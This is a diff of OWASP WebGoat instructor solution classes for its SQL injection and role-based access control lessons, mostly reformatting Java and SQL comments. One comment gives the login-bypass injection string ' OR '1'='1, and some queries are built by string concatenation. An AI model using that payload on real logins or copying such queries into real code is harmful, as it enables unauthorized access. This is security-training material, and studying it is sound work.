v_start_date IN employee.start_date%type,
v_salary IN employee.salary%type,
v_ccn IN employee.ccn%type,
v_ccn_limit IN employee.ccn_limit%type,
v_disciplined_date IN employee.disciplined_date%type,
v_disciplined_notes IN employee.disciplined_notes%type,
v_personal_description IN employee.personal_description%type
)
AS
P_ADDRESS1 VARCHAR2(100) := '^[a-zA-Z0-9,\. ]{0,80}$';
BEGIN
IF NOT REGEXP_LIKE(v_address1, P_ADDRESS1) THEN
RAISE VALUE_ERROR;
END IF;
UPDATE EMPLOYEE
SET
first_name = v_first_name,
last_name = v_last_name,
ssn = v_ssn,
title = v_title,
phone = v_phone,
address1 = v_address1,
address2 = v_address2,
manager = v_manager,
start_date = v_Start_date,
salary = v_salary,
ccn = v_ccn,
ccn_limit = v_ccn_limit,
disciplined_date = v_disciplined_date,
disciplined_notes = v_disciplined_notes,
personal_description = v_personal_description
WHERE
userid = v_userid;
END;
/
3. Apply a table column constraint
ALTER TABLE EMPLOYEE
ADD CONSTRAINT address1_ck CHECK (REGEXP_LIKE(address1, '^[a-zA-Z0-9,\. ]{0,80}$'));
FOR SQL SERVER, the following is required:
DROP PROCEDURE webgoat_guest.UPDATE_EMPLOYEE
GO
CREATE PROCEDURE webgoat_guest.UPDATE_EMPLOYEE
@v_userid INT,
@v_first_name VARCHAR(20),
@v_last_name VARCHAR(20),
@v_ssn VARCHAR(12),
@v_title VARCHAR(20),
@v_phone VARCHAR(13),
@v_address1 VARCHAR(80),
@v_address2 VARCHAR(80),
@v_manager INT,
@v_start_date CHAR(8),
@v_salary INT,
@v_ccn VARCHAR(30),
@v_ccn_limit INT,
@v_disciplined_date CHAR(8),
@v_disciplined_notes VARCHAR(60),
@v_personal_description VARCHAR(60)
AS
IF [webgoat_guest].RegexMatch(@v_address1, N'^[a-zA-Z0-9,\. ]{0,80}$') = 0
BEGIN
RAISERROR('Illegal characters in address1', 11, 1)
RETURN
END
UPDATE EMPLOYEE
SET
first_name = @v_first_name,
last_name = @v_last_name,
ssn = @v_ssn,
title = @v_title,
phone = @v_phone,
address1 = @v_address1,
address2 = @v_address2,
manager = @v_manager,
start_date = @v_Start_date,
salary = @v_salary,
ccn = @v_ccn,
ccn_limit = @v_ccn_limit,
disciplined_date = @v_disciplined_date,
disciplined_notes = @v_disciplined_notes,
personal_description = @v_personal_description
WHERE
userid = @v_userid;
GO
*/
/*
* STAGE 2 FIXES Solution Summary (1. or 2.) 1. Modify the UPDATE_EMPLOYEE stored procedure in the
* database and add a validation step. Oracle 10G now supports regular expressions. 2. Apply a
* column constraint can also work IFF the existing data is clean Solution Steps: 1. Talk about the
* different database approaches. a. Apply validation in the UPDATE stored proc - Possible to bypass
* by not using that stored proc b. Apply a table column constraint - Cannot be bypassed. The DB
* enforces the constraint under all conditions 2. Fix the stored proc Define the pattern. Validate
* the field against the pattern. Raise an exception if invalid. CREATE OR REPLACE PROCEDURE
* UPDATE_EMPLOYEE( v_userid IN employee.userid%type, v_first_name IN employee.first_name%type,
* v_last_name IN employee.last_name%type, v_ssn IN employee.ssn%type, v_title IN
* employee.title%type, v_phone IN employee.phone%type, v_address1 IN employee.address1%type,
* v_address2 IN employee.address2%type, v_manager IN employee.manager%type, v_start_date IN
* employee.start_date%type, v_salary IN employee.salary%type, v_ccn IN employee.ccn%type,
* v_ccn_limit IN employee.ccn_limit%type, v_disciplined_date IN employee.disciplined_date%type,
* v_disciplined_notes IN employee.disciplined_notes%type, v_personal_description IN
* employee.personal_description%type ) AS P_ADDRESS1 VARCHAR2(100) := '^[a-zA-Z0-9,\. ]{0,80}$';
* BEGIN IF NOT REGEXP_LIKE(v_address1, P_ADDRESS1) THEN RAISE VALUE_ERROR; END IF; UPDATE EMPLOYEE
* SET first_name = v_first_name, last_name = v_last_name, ssn = v_ssn, title = v_title, phone =
* v_phone, address1 = v_address1, address2 = v_address2, manager = v_manager, start_date =
* v_Start_date, salary = v_salary, ccn = v_ccn, ccn_limit = v_ccn_limit, disciplined_date =
* v_disciplined_date, disciplined_notes = v_disciplined_notes, personal_description =
* v_personal_description WHERE userid = v_userid; END; / 3. Apply a table column constraint ALTER
* TABLE EMPLOYEE ADD CONSTRAINT address1_ck CHECK (REGEXP_LIKE(address1, '^[a-zA-Z0-9,\.
* ]{0,80}$')); FOR SQL SERVER, the following is required: DROP PROCEDURE
* webgoat_guest.UPDATE_EMPLOYEE GO CREATE PROCEDURE webgoat_guest.UPDATE_EMPLOYEE
* @v_userid INT,
* @v_first_name VARCHAR(20),
* @v_last_name VARCHAR(20),
* @v_ssn VARCHAR(12),
* @v_title VARCHAR(20),
* @v_phone VARCHAR(13),
* @v_address1 VARCHAR(80),
* @v_address2 VARCHAR(80),
* @v_manager INT,
* @v_start_date CHAR(8),
* @v_salary INT,
* @v_ccn VARCHAR(30),
* @v_ccn_limit INT,
* @v_disciplined_date CHAR(8),
* @v_disciplined_notes VARCHAR(60),
* @v_personal_description VARCHAR(60) AS IF [webgoat_guest].RegexMatch(@v_address1,
* N'^[a-zA-Z0-9,\. ]{0,80}$') = 0 BEGIN RAISERROR('Illegal characters in address1', 11, 1) RETURN
* END UPDATE EMPLOYEE SET first_name = @v_first_name, last_name = @v_last_name, ssn = @v_ssn, title
* = @v_title, phone = @v_phone, address1 = @v_address1, address2 = @v_address2, manager =
* @v_manager, start_date = @v_Start_date, salary = @v_salary, ccn = @v_ccn, ccn_limit =
* @v_ccn_limit, disciplined_date = @v_disciplined_date, disciplined_notes = @v_disciplined_notes,
* personal_description = @v_personal_description WHERE userid = @v_userid; GO
*/
public class UpdateProfile_i extends UpdateProfile
{

View File

@ -1,44 +1,17 @@
package org.owasp.webgoat.lessons.instructor.DBSQLInjection;
/*
* The solution is to choose Neville's userid, and enter a password like:
* ' OR '1'='1
* Modify the Stored function LOGIN_EMPLOYEE to use fixed statements or bind variables
*
*
* For ORACLE:
CREATE OR REPLACE FUNCTION WEBGOAT_guest.EMPLOYEE_LOGIN(v_id NUMBER, v_password VARCHAR) RETURN NUMBER AS
cnt NUMBER;
BEGIN
SELECT COUNT(*) INTO cnt FROM EMPLOYEE
WHERE USERID = v_id
AND PASSWORD = v_password;
RETURN cnt;
END;
/
* OR
CREATE OR REPLACE FUNCTION WEBGOAT_guest.EMPLOYEE_LOGIN(v_id NUMBER, v_password VARCHAR) RETURN NUMBER AS
stmt VARCHAR(32767); cnt NUMBER;
BEGIN
stmt := 'SELECT COUNT (*) FROM EMPLOYEE WHERE USERID = :1 AND PASSWORD = :2';
EXECUTE IMMEDIATE stmt INTO cnt USING v_id, v_password;
RETURN cnt;
END;
/
* For SQL SERVER
CREATE FUNCTION webgoat_guest.EMPLOYEE_LOGIN (
@v_id INT,
@v_password VARCHAR(100)
) RETURNS INTEGER
AS
BEGIN
DECLARE @count int
SELECT @count = COUNT(*) FROM EMPLOYEE WHERE USERID = @v_id AND PASSWORD = @v_password;
return @count
END
*/
* The solution is to choose Neville's userid, and enter a password like: ' OR '1'='1 Modify the
* Stored function LOGIN_EMPLOYEE to use fixed statements or bind variables For ORACLE: CREATE OR
* REPLACE FUNCTION WEBGOAT_guest.EMPLOYEE_LOGIN(v_id NUMBER, v_password VARCHAR) RETURN NUMBER AS
* cnt NUMBER; BEGIN SELECT COUNT() INTO cnt FROM EMPLOYEE WHERE USERID = v_id AND PASSWORD =
* v_password; RETURN cnt; END; / OR CREATE OR REPLACE FUNCTION WEBGOAT_guest.EMPLOYEE_LOGIN(v_id
* NUMBER, v_password VARCHAR) RETURN NUMBER AS stmt VARCHAR(32767); cnt NUMBER; BEGIN stmt :=
* 'SELECT COUNT () FROM EMPLOYEE WHERE USERID = :1 AND PASSWORD = :2'; EXECUTE IMMEDIATE stmt INTO
* cnt USING v_id, v_password; RETURN cnt; END; / For SQL SERVER CREATE FUNCTION
* webgoat_guest.EMPLOYEE_LOGIN (
* @v_id INT,
* @v_password VARCHAR(100) ) RETURNS INTEGER AS BEGIN DECLARE @count int SELECT @count = COUNT()
* FROM EMPLOYEE WHERE USERID = @v_id AND PASSWORD = @v_password; return @count END
*/

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.DeleteProfile;
@ -11,38 +11,36 @@ import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
public class DeleteProfile_i extends DeleteProfile
{
public DeleteProfile_i(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName, chainedAction);
}
public void doDeleteEmployeeProfile(WebSession s, int userId, int employeeId)
throws UnauthorizedException
public void doDeleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException
{
if (s.isAuthorizedInLesson(userId, RoleBasedAccessControl.DELETEPROFILE_ACTION)) // FIX
{
try
{
String query = "DELETE FROM employee WHERE userid = " + employeeId;
//System.out.println("Query: " + query);
// System.out.println("Query: " + query);
try
{
Statement statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
Statement statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query);
}
catch ( SQLException sqle )
} catch (SQLException sqle)
{
s.setMessage( "Error deleting employee profile" );
s.setMessage("Error deleting employee profile");
sqle.printStackTrace();
}
}
catch ( Exception e )
} catch (Exception e)
{
s.setMessage( "Error deleting employee profile" );
s.setMessage("Error deleting employee profile");
e.printStackTrace();
}
}

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.EditProfile;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl;
@ -11,12 +11,13 @@ import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/**
* Copyright (c) 2006 Free Software Foundation developed under the custody of the Open Web
* Application Security Project (http://www.owasp.org) This software package org.owasp.webgoat.is published by OWASP
* under the GPL. You should read and accept the LICENSE before you use, modify and/or redistribute
* this software.
*
* Copyright (c) 2006 Free Software Foundation developed under the custody of the Open Web
* Application Security Project (http://www.owasp.org) This software package org.owasp.webgoat.is
* published by OWASP under the GPL. You should read and accept the LICENSE before you use, modify
* and/or redistribute this software.
*
*/
/*************************************************/
@ -32,61 +33,52 @@ public class EditProfile_i extends EditProfile
super(lesson, lessonName, actionName);
}
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId)
throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user
// Query the database for the profile data of the given employee if "owned" by the given
// user
Employee profile = null;
if (s.isAuthorizedInLesson(userId, RoleBasedAccessControl.EDITPROFILE_ACTION)) // FIX
{
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = ?";
try
{
PreparedStatement answer_statement = WebSession.getConnection(s).prepareStatement( query,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(
answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"),
answer_results.getString("title"),
answer_results.getString("phone"),
answer_results.getString("address1"),
answer_results.getString("address2"),
answer_results.getInt("manager"),
answer_results.getString("start_date"),
answer_results.getInt("salary"),
answer_results.getString("ccn"),
answer_results.getInt("ccn_limit"),
answer_results.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/ }
}
catch ( SQLException sqle )
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"),
answer_results.getString("disciplined_notes"), answer_results
.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " +
* profile.getFirstName() + " " + profile.getLastName() + " (" +
* profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
s.setMessage( "Error getting employee profile" );
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch ( Exception e )
} catch (Exception e)
{
s.setMessage( "Error getting employee profile" );
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
}

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl;
import org.apache.ecs.ElementContainer;
@ -11,58 +12,48 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/**
* Copyright (c) 2006 Free Software Foundation developed under the custody of the Open Web
* Application Security Project (http://www.owasp.org) This software package org.owasp.webgoat.is published by OWASP
* under the GPL. You should read and accept the LICENSE before you use, modify and/or redistribute
* this software.
*
* Copyright (c) 2006 Free Software Foundation developed under the custody of the Open Web
* Application Security Project (http://www.owasp.org) This software package org.owasp.webgoat.is
* published by OWASP under the GPL. You should read and accept the LICENSE before you use, modify
* and/or redistribute this software.
*
*/
/* STAGE 2 FIXES
Solution Summary: Edit RoleBasedAccessControl.java and change handleRequest().
Modify handleRequest() with lines denoted by // STAGE 2 - FIX.
Solution Steps:
1. This solution adds an access control check in the controller.
Point out that their architecture may require the check to occur in the business function.
2. Look at the RoleBasedAccessControl class identify where execution happens of an action.
a. action.handleRequest(s); is not protected by an access control check.
b. look at handleRequest(s) to determine where access control check should occur.
c. add protection by a programmatic authorization check before dispatching to the action:
1. Add an isAuthorized() call before dispatching to the action,
and throw an unauthorized exception. Tell student this exception exists.
Use eclipse command completion to find the isAuthorized() call on the action.
From command completion - determine calling arguments of isAuthorized()
int userId = action.getUserId(s);
if (action.isAuthorized(s, userId, action.getActionName()))
{
action.handleRequest(s);
}
else
throw new UnauthorizedException();
Repeat stage 1 and note that the function fails with a "Not authorized" message.
Tom will be in the list again, because the DB is reset when lesson restarts.
Adding the access check in the RoleBasedAccessControl:handleRequest() is putting the check in the Controller
The access check can also be added to DeleteProfile.deleteEmployeeProfile(), which is putting the check in the Business Function
*/
/*
* STAGE 2 FIXES Solution Summary: Edit RoleBasedAccessControl.java and change handleRequest().
* Modify handleRequest() with lines denoted by // STAGE 2 - FIX. Solution Steps: 1. This solution
* adds an access control check in the controller. Point out that their architecture may require the
* check to occur in the business function. 2. Look at the RoleBasedAccessControl class identify
* where execution happens of an action. a. action.handleRequest(s); is not protected by an access
* control check. b. look at handleRequest(s) to determine where access control check should occur.
* c. add protection by a programmatic authorization check before dispatching to the action: 1. Add
* an isAuthorized() call before dispatching to the action, and throw an unauthorized exception.
* Tell student this exception exists. Use eclipse command completion to find the isAuthorized()
* call on the action. From command completion - determine calling arguments of isAuthorized() int
* userId = action.getUserId(s); if (action.isAuthorized(s, userId, action.getActionName())) {
* action.handleRequest(s); } else throw new UnauthorizedException(); Repeat stage 1 and note that
* the function fails with a "Not authorized" message. Tom will be in the list again, because the DB
* is reset when lesson restarts. Adding the access check in the
* RoleBasedAccessControl:handleRequest() is putting the check in the Controller The access check
* can also be added to DeleteProfile.deleteEmployeeProfile(), which is putting the check in the
* Business Function
*/
public class RoleBasedAccessControl_i extends RoleBasedAccessControl
{
public void handleRequest(WebSession s)
{
//System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
// System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
// Missing the action - send them back to login.
requestedActionName = LOGIN_ACTION;
@ -74,26 +65,27 @@ public class RoleBasedAccessControl_i extends RoleBasedAccessControl
if (action != null)
{
// FIXME: This code has gotten much uglier
//System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " + action.getActionName());
// System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " +
// action.getActionName());
if (!action.requiresAuthentication())
{
// Access to Login does not require authentication.
action.handleRequest(s);
action.handleRequest(s);
}
else
else
{
if (action.isAuthenticated(s))
{
int userId = action.getUserId(s); // STAGE 2 - FIX
// action.getActionName() returns the user requested function which
// is tied to the button click from the listStaff jsp
//
// Checking isAuthorized() for the requested action
if (action.isAuthorized(s, userId, action.getActionName())) // STAGE 2 - FIX
{
// Calling the handleRequest() method for the requested action
// Calling the handleRequest() method for the requested action
action.handleRequest(s);
}
else
@ -106,26 +98,22 @@ public class RoleBasedAccessControl_i extends RoleBasedAccessControl
}
else
setCurrentAction(s, ERROR_ACTION);
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
//System.out.println("Missing parameter");
// System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve)
{
//System.out.println("Validation failed");
// System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
//System.out.println("Authentication failure");
// System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
String stage = getStage(s);
// Update lesson status if necessary.
@ -133,50 +121,47 @@ public class RoleBasedAccessControl_i extends RoleBasedAccessControl
{
try
{
if (GoatHillsFinancial.DELETEPROFILE_ACTION.equals(requestedActionName) &&
!isAuthorized(s, getUserId(s), GoatHillsFinancial.DELETEPROFILE_ACTION))
{
setStageComplete(s, STAGE2);
}
if (GoatHillsFinancial.DELETEPROFILE_ACTION.equals(requestedActionName)
&& !isAuthorized(s, getUserId(s), GoatHillsFinancial.DELETEPROFILE_ACTION))
{
setStageComplete(s, STAGE2);
}
} catch (ParameterNotFoundException pnfe)
{
pnfe.printStackTrace();
pnfe.printStackTrace();
}
}
//System.out.println("isAuthorized() exit stage: " + getStage(s));
// System.out.println("isAuthorized() exit stage: " + getStage(s));
// Update lesson status if necessary.
if (STAGE4.equals(stage))
{
try
{
//System.out.println("Checking for stage 4 completion");
DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s));
int userId = Integer.parseInt((String)s.getRequest().getSession().getAttribute(getLessonName() + "."
+ GoatHillsFinancial.USER_ID));
int employeeId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID);
// System.out.println("Checking for stage 4 completion");
DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s));
int userId = Integer.parseInt((String) s.getRequest().getSession()
.getAttribute(getLessonName() + "." + GoatHillsFinancial.USER_ID));
int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{
setStageComplete(s, STAGE4);
}
if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{
setStageComplete(s, STAGE4);
}
} catch (Exception e)
{
// swallow this - shouldn't happen inthe normal course
// e.printStackTrace();
}
}
s.setMessage("You are not authorized to perform this function");
// System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
s.setMessage("You are not authorized to perform this function");
// System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
}
}

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl;
@ -13,12 +13,13 @@ import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/**
* Copyright (c) 2006 Free Software Foundation developed under the custody of the Open Web
* Application Security Project (http://www.owasp.org) This software package org.owasp.webgoat.is published by OWASP
* under the GPL. You should read and accept the LICENSE before you use, modify and/or redistribute
* this software.
*
* Copyright (c) 2006 Free Software Foundation developed under the custody of the Open Web
* Application Security Project (http://www.owasp.org) This software package org.owasp.webgoat.is
* published by OWASP under the GPL. You should read and accept the LICENSE before you use, modify
* and/or redistribute this software.
*
*/
/*************************************************/
@ -27,7 +28,6 @@ import org.owasp.webgoat.session.WebSession;
/* */
/*************************************************/
public class UpdateProfile_i extends UpdateProfile
{
public UpdateProfile_i(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
@ -43,12 +43,13 @@ public class UpdateProfile_i extends UpdateProfile
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
PreparedStatement ps = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName());
@ -64,19 +65,17 @@ public class UpdateProfile_i extends UpdateProfile
ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId);
ps.execute();
}
catch ( SQLException sqle )
} catch (SQLException sqle)
{
s.setMessage( "Error updating employee profile" );
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch ( Exception e )
} catch (Exception e)
{
s.setMessage( "Error updating employee profile" );
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
}
else
{
@ -84,9 +83,7 @@ public class UpdateProfile_i extends UpdateProfile
}
}
public void createEmployeeProfile(WebSession s, int userId, Employee employee)
throws UnauthorizedException
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
{
if (s.isAuthorizedInLesson(userId, RoleBasedAccessControl.UPDATEPROFILE_ACTION)) // FIX
{
@ -94,10 +91,10 @@ public class UpdateProfile_i extends UpdateProfile
{
// FIXME: Cannot choose the id because we cannot guarantee uniqueness
int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
//System.out.println("Query: " + query);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
// System.out.println("Query: " + query);
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
@ -118,18 +115,16 @@ public class UpdateProfile_i extends UpdateProfile
ps.setString(14, employee.getPersonalDescription());
ps.execute();
}
catch ( SQLException sqle )
} catch (SQLException sqle)
{
s.setMessage( "Error updating employee profile" );
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch ( Exception e )
} catch (Exception e)
{
s.setMessage( "Error updating employee profile" );
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
}
else
{

View File

@ -1,49 +1,41 @@
package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.ViewProfile;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/* STAGE 4 FIXES
1. Find the code location where this flaw of directly retrieving the profile without data-level access control checking exists:
public void handleRequest( WebSession s )
{
Employee employee = getEmployeeProfile(s, userId, employeeId);
}
public Employee getEmployeeProfile(WebSession s, int employeeId, int subjectUserId) throws UnauthorizedException {
return getEmployeeProfile(s, employeeId, subjectUserId);
}
2. The solution requires a data-level access control check to ensure the user has the rights to access the data they are requesting.
a. There is a common method you can take advantage of:
isAuthorizedForEmployee(s, userId, subjectUserId)
Either tell the student this exists or have them look in DefaultLessonAction.
Note that this is not required to implement data access control but is for detection of violations.
b. Uncomment the modified query retrieving the user data to have data access control
String query = "SELECT * FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
"ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;
3. Bundle the entire logic with this call and throw an unauthorized exception
if (isAuthorizedForEmployee(s, userId, subjectUserId))
{ ...
//String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
String query = "SELECT * FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
"ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; // STAGE 4 - FIX
...
}
else
{
throw new UnauthorizedException();
}
4. Repeat stage 3 and note that the function fails with a "Not authorized" message.
Adding the access check in the query is providing data-level access control.
The access check from isAuthorizedForEmployee is used to detect a violation.
The same logic could've been applied after the query but isAuthorizedForEmployee provides a nice centralized abstraction of that logic.
*/
/*
* STAGE 4 FIXES 1. Find the code location where this flaw of directly retrieving the profile
* without data-level access control checking exists: public void handleRequest( WebSession s ) {
* Employee employee = getEmployeeProfile(s, userId, employeeId); } public Employee
* getEmployeeProfile(WebSession s, int employeeId, int subjectUserId) throws UnauthorizedException
* { return getEmployeeProfile(s, employeeId, subjectUserId); } 2. The solution requires a
* data-level access control check to ensure the user has the rights to access the data they are
* requesting. a. There is a common method you can take advantage of: isAuthorizedForEmployee(s,
* userId, subjectUserId) Either tell the student this exists or have them look in
* DefaultLessonAction. Note that this is not required to implement data access control but is for
* detection of violations. b. Uncomment the modified query retrieving the user data to have data
* access control String query =
* "SELECT * FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
* "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; 3. Bundle
* the entire logic with this call and throw an unauthorized exception if
* (isAuthorizedForEmployee(s, userId, subjectUserId)) { ... //String query =
* "SELECT * FROM employee WHERE userid = " + subjectUserId; String query =
* "SELECT * FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
* "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; // STAGE 4
* - FIX ... } else { throw new UnauthorizedException(); } 4. Repeat stage 3 and note that the
* function fails with a "Not authorized" message. Adding the access check in the query is providing
* data-level access control. The access check from isAuthorizedForEmployee is used to detect a
* violation. The same logic could've been applied after the query but isAuthorizedForEmployee
* provides a nice centralized abstraction of that logic.
*/
public class ViewProfile_i extends ViewProfile
{
@ -52,71 +44,65 @@ public class ViewProfile_i extends ViewProfile
super(lesson, lessonName, actionName);
}
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId)
throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
// Query the database to determine if the given employee is owned by the given user
// Query the database for the profile data of the given employee
Employee profile = null;
// isAuthorizedForEmployee() allows us to determine authorization violations
if (isAuthorizedForEmployee(s, userId, subjectUserId)) // STAGE 4 - (ALTERNATE) FIX
{
if (isAuthorizedForEmployee(s, userId, subjectUserId)) // STAGE 4 - (ALTERNATE) FIX
{
// Query the database for the profile data of the given employee
try
{
//String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; // STAGE 4 - FIX
// String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; // STAGE
// 4 - FIX
// Switch to this query to add Data Access Control
//
// Join employee and ownership to get all valid record combinations
// - qualify on ownership.employer_id to see only the current userId records
// - qualify on ownership.employee_id to see the current selected employee profile
// - qualify on ownership.employer_id to see only the current userId records
// - qualify on ownership.employee_id to see the current selected employee profile
String query = "SELECT * FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; // STAGE
// 4
// -
// FIX
String query = "SELECT * FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
"ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; // STAGE 4 - FIX
try
{
Statement answer_statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
ResultSet answer_results = answer_statement.executeQuery( query );
Statement answer_statement = WebSession.getConnection(s)
